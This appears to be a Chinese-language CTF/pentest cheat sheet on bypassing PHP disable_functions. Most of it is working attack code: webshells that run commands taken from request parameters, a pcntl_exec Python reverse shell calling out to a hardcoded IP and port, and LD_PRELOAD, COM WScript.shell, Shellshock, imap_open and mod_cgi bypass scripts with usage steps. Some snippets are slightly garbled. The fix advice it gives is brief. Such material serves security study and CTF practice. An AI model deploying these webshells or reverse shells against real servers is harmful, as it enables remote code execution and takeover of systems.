disable_functions
典型禁用函数
绕过的几个思路
最基础的两个绕法
①寻找没有被禁用的函数
PHP 中执行命令的函数有-->因此找没有禁用掉的就好了 system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,proc_open()、pcntl_exec() 等。
典型过滤
call_user_func($func, $p);
典型可以获取源码的函数
func=readfile&p=/tmp/flagoefiu4r93
func=highlight_file&p=路径
("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
<?php echo exec('whoami');?>
<?php echo shell_exec('whoami');?>
<?php system('whoami');?>
<?php passthru("whoami");?>
<?php $command=$_POST['cmd'];$handle = popen($command,"r");while(!feof($handle)){ echo fread($handle, 1024); //fread($handle, 1024);} pclose($handle);?>
<?php $command="ipconfig";$descriptorspec = array(1 => array("pipe", "w"));$handle = proc_open($command ,$descriptorspec , $pipes);while(!feof($pipes[1])){ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);}?>
比较常见的忽略函数
pcntl_exec
利用条件:PHP 安装并启用了 pcntl 插件
利用方法:
<?phpif(function_exists('pcntl_exec')) { pcntl_exec("/bin/bash", array("/tmp/test.sh"));} else { echo 'pcntl extension is not support!';}?>
结合python来反弹shell
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
②针对系统的
linux-->常见蚁剑linux绕过就完事了,集成了好多种
原理:利用 LD_PRELOAD 绕过,即这个环境变量的优先级更高,因此我们可以用这个来加载我们写的函数进而覆盖掉那些禁用的进程
手动绕思路:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上传 bypass_disablefunc.php 和 bypass_disablefunc_x64.so文件
然后拼接命令-->
&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so# include("/var/tmp/bypass_disablefunc.php");
例如一道题目
GKCTF2020]CheckIN
windows-->ws 中调用 COM 组件执行命令
原理和环境要求:php.ini文件中开启了
com.allow_dcom
extension=php_com_dotnet.dll
即允许Windows中调用 COM 组件执行命令
且在 php/ext / 里面存在 php_com_dotnet.dll 这个文件
因此绕过方法
上传一个
rce.php 文件,内容如下:
<?php
$command = $_GET['cmd'];
$wsh = **new** COM('WScript.shell'); // 生成一个COM对象
Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
然后在调用
rce.php?cmd=dir去执行命令就好了
比较难利用的几个思路
1.利用 Bash 破壳(CVE-2014-6271)漏洞改变环境限制
利用条件:
Linux 中 Bash 版本小于等于 4.3,且存在破壳漏洞
利用原理:
存在 Bash 破壳(CVE-2014-6271)的 Linux 服务器向环境变量值内的函数定义后添加多余的字符串会触发Bash 漏洞,可利用此漏洞改变或绕过环境限制
利用脚本上传一个rce.php
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
然后rce.php?cmd=whoami
修复方法:升级linux就好了
2.利用 imap_open() 函数的特性绕过
利用原理:传递内容的时候没有正确的过滤邮箱名字,导致给rsh和ssh功能的发送的时候可执行命令
利用条件:
1.安装了 PHP 的 imap 扩展。
2.php.ini 中开启 imap.enable_insecure_rsh 选项为 On。
绕过脚本
上传rce.php
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
然后rce.php?cmd=whoami
修复方法:
①imap_open()、imap_mail()、imap_rimap()
②升级 PHP 版本,7.1.25后版本不存在该问题
3.通过 mod_cgi 模式绕过 php.ini 的限制执行脚本
利用原理:
修改. htaccess 文件让 CGI 解析 python 脚本执行系统命令
利用条件:
1..apache 服务加载了 cgi_module 模块,在 apache 的配置文件中有如下内容:LoadModule cgi_module modules/mod_cgi.so
2.当前目录可以上传并解析. htaccess 文件,配置文件中应该写了 “AllowOverride all”
3.当前环境安装了其他语言的环境。
这里以python为例
.htacess文件内容
AddHandler cgi-script .x
然后上传python的内容–>然后调用这个模块去进行执行我们想执行的命令
\#!F:\\Python38\\python.exe
import os
os.system("ping hbztiu.dnslog.cn")\#参数改为想要执行的命令